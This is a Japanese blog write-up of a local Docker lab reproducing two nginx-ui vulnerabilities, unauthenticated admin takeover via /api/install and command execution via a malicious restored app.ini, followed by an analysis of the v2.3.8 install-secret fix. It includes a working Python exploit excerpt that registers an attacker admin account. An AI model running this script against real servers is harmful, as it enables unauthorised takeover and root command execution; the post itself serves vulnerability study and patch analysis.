はじめに
nginx-ui(Nginx の Web GUI 管理ツール)に報告された2つの CVE を、Docker 環境を用意して実際に検証してみました。
- CVE-2026-42221: 未認証での管理者アカウント乗っ取り
- CVE-2026-42238: 未認証バックアップ復元によるコマンド実行
検証を通じて「脆弱性」の本質や、パッチでどう修正されたかを理解できたので、その過程をまとめます。
本記事の検証内容は、自分が管理する隔離されたローカル環境のみで実施しています。
許可のない第三者のシステムへ同様の手法を使用することは不正アクセス禁止法に違反します。
nginx-ui とは
Nginx の設定ファイルをブラウザから GUI で管理できるツールです。
ブラウザ(Vue.js)
↓ HTTP API (/api/*)
nginx-ui バックエンド(Go)← port 9000 で独立して動作
↓ ファイル直接読み書き / シェルコマンド実行
Nginx プロセス / 設定ファイル / SQLite DB / app.ini
nginx-ui は Nginx とは独立した別プロセスです。Nginx の設定ファイルを直接読み書きし、nginx -t や nginx -s reload といったシェルコマンドを root 権限で実行します。
この設計が、後述する CVE の原因になります。
ラボ環境の構築
脆弱バージョン v2.3.7 を Docker Compose で起動します。
# docker-compose.yml
services:
nginx-ui:
build: .
container_name: nginx-ui-vuln
ports:
- "127.0.0.1:8080:9000" # nginx-ui は port 9000 で動作
volumes:
- nginx-ui-data:/etc/nginx-ui
- /var/run/docker.sock:/var/run/docker.sock
docker compose build
docker compose up -d
# セットアップ状態を確認
Invoke-RestMethod -Uri "http://localhost:8080/api/install" -Method Get
# → lock: False / timeout: False
lock: false は「まだ管理者が登録されていない=セットアップ前」を示します。
ハマりポイント: 素の uozi/nginx-ui:v2.3.7 イメージはそのままでは起動ループになります。sites-enabled / stream-enabled / streams-enabled ディレクトリが存在せず、app.ini に Nginx のパスが未設定のためです。Dockerfile でこれらを事前に用意する必要があります。
CVE-2026-42221: 管理者アカウントを乗っ取る
仕組み
nginx-ui の初回セットアップは /api/install エンドポイントで管理者アカウントを作成します。v2.3.7 では誰でもこのエンドポイントにアクセスできる状態になっていました。
攻撃フローはシンプルです:
1. POST /api/crypto/public_key → RSA 公開鍵を取得
2. username/password/email の JSON を RSA 暗号化
3. POST /api/install に送信 → 攻撃者が管理者として登録される
実際に試してみる
# exploit.py(抜粋)
import json, time, urllib.request, base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
URL = "http://localhost:8080"
# 公開鍵取得(fingerprint と timestamp が必要)
body = json.dumps({"fingerprint": "attacker", "timestamp": int(time.time())}).encode()
req = urllib.request.Request(f"{URL}/api/crypto/public_key", data=body,
headers={"Content-Type": "application/json"}, method="POST")
with urllib.request.urlopen(req) as r:
pub = json.loads(r.read())["public_key"]
# ペイロードを丸ごと RSA 暗号化して送信
payload = json.dumps({"username": "attacker", "password": "attacker_password",
"email": "attacker@evil.com"}).encode()
key = RSA.import_key(pub)
enc = base64.b64encode(PKCS1_v1_5.new(key).encrypt(payload)).decode()
body2 = json.dumps({"encrypted_params": enc}).encode()
req2 = urllib.request.Request(f"{URL}/api/install", data=body2,
headers={"Content-Type": "application/json"}, method="POST")
with urllib.request.urlopen(req2) as r:
print(r.read()) # → {"message": "ok"}
実行すると attacker アカウントで管理画面にログインできるようになります。
気づき
この攻撃が成立する条件は「まだ誰も管理者登録していないこと」だけです。
ブラウザのセットアップ画面で先に登録する操作と変わらず、CVE として特別な技術が使われているわけではありません。
では何が問題かというと、セットアップ前のサーバーがネットワークに公開されており、API が自動化攻撃に対して無防備という点です。スキャナーで発見したら即座にスクリプトで登録できてしまいます。
CVE-2026-42238: バックアップ復元でコマンドを実行する
仕組み
nginx-ui のバックアップ復元エンドポイント /api/restore も、セットアップ前の窓で認証なしにアクセスできます。
app.ini には TestConfigCmd という設定項目があり、Nginx の設定検証時に実行するコマンドを指定します。デフォルトは nginx -t。
[nginx]
TestConfigCmd = ← ここを書き換えると任意コマンドが root で実行される
攻撃者はこの値を書き換えた悪意ある app.ini をバックアップとして送り込み、nginx-ui 再起動時にコマンドを実行させます。
CVE-2026-42221 との関係
実機で検証すると重要なことが分かりました。
lock=false(未セットアップ)→ /api/restore: 開いている
lock=true(管理者登録済み)→ /api/restore: 403
つまり /api/restore の未認証窓も /api/install と全く同じ条件でしか開きません。CVE-2026-42221 で管理者を取得した後は、認証済みの /api/restore を普通に使えるので、CVE-2026-42238 の未認証窓をわざわざ使う必要がありません。
2つの CVE は実質的に同一の根本原因から派生した別々の攻撃面であり、CVE-2026-42221 が使える状況では CVE-2026-42238 の未認証窓を使う必要はありません。
v2.3.8 での修正内容
攻撃してみると
# v2.3.8 に対して同じ攻撃を試みる
Invoke-RestMethod -Uri "http://localhost:8081/api/install" -Method Post ...
# → 404 Not Found(エンドポイント自体がなくなった)
Invoke-RestMethod -Uri "http://localhost:8081/api/setup/install" -Method Post ...
# → 500 "Install secret is required"
何が変わったか
v2.3.8 ではエンドポイントのパスが変わり、インストールシークレット方式が導入されました。
v2.3.7: POST /api/install ← 誰でもアクセス可
v2.3.8: POST /api/setup/install ← シークレットが必要
シークレットは起動時に自動生成され、/etc/nginx-ui/.install_secret というファイルに保存されます。ログには値が出力されません。
$ docker logs nginx-ui-patched
...
Secret is empty, generating...
Secret Generated ← 値は出力されない
セットアップするには、このファイルを読んで X-Install-Secret ヘッダーに値をセットする必要があります。
ファイルを読める人 = SSH でサーバーに入れる正規の管理者だけ
ルーターレベルの修正
// v2.3.8 の routers.go
setup := root.Group("/setup", middleware.SetupAuthRequired())
{
system.InitSetupRouter(setup) // install
backup.InitSetupRouter(setup) // restore
}
SetupAuthRequired() という1つのミドルウェアを /setup グループに追加するだけで、両方の CVE が同時に修正されています。
修正の本質
v2.3.7: ネットワークに繋がれば誰でもセットアップできる
v2.3.8: SSH でサーバーに入れる人(正規の管理者)しかセットアップできない
Jenkins の初回セットアップパスワードや GitLab の initial root password と同じアプローチです。
学んだこと
「脆弱性」か「運用の問題」か
今回の CVE を検証して最初に思ったのは「セットアップ途中のサーバーを外部公開すること自体が重大なインシデントでは?」ということです。
CVE-2026-42221 は技術的な難易度が高い脆弱性ではなく、「先に登録した者が管理者になれる」という仕様上のリスクです。適切に運用(デプロイ直後は非公開でセットアップ完了後に公開)していれば防げます。
ただし「実際にセットアップ前に公開してしまうケースが現実に存在する」からこそ CVE として報告されており、v2.3.8 の修正はその運用ミスをカバーする設計変更です。
CVE の数 ≠ 問題の深刻さ
CVE-2026-42221 と CVE-2026-42238 は別々の番号が振られていますが、根本原因は同じです。修正コードも1つのミドルウェア追加で両方対応できました。CVE の数が多いからといって複雑な攻撃チェーンが存在するわけではありません。
実機検証で初めて分かること
CVE の説明文と実際の動作には差があることがあります。今回だと:
-
/api/crypto/public_keyが POST メソッドでfingerprintとtimestampが必須(説明文にはなかった) - CVE-2026-42238 が
lock=trueでは使えない(「管理者登録済みでも10分間は有効」という説明と異なった)
実際に動かして確かめることで、説明文だけでは分からなかった動作の詳細を把握できた。
まとめ
| 項目 | 内容 |
|---|---|
| 共通の根本原因 | セットアップ前の10分間、認証なしでAPIにアクセスできる |
| CVE-2026-42221 |
/api/install で管理者を乗っ取る |
| CVE-2026-42238 |
/api/restore で悪意ある設定を注入する(42221と同一条件) |
| v2.3.8 の修正 | インストールシークレット方式の導入(SSH 権限がある人だけセットアップ可能) |
| 本質的な教訓 | セットアップ途中のサービスをネットワークに公開しない |
検証リポジトリ
今回の検証環境(Dockerfile・Docker Compose・攻撃スクリプト・学習プラン)は以下で公開しています。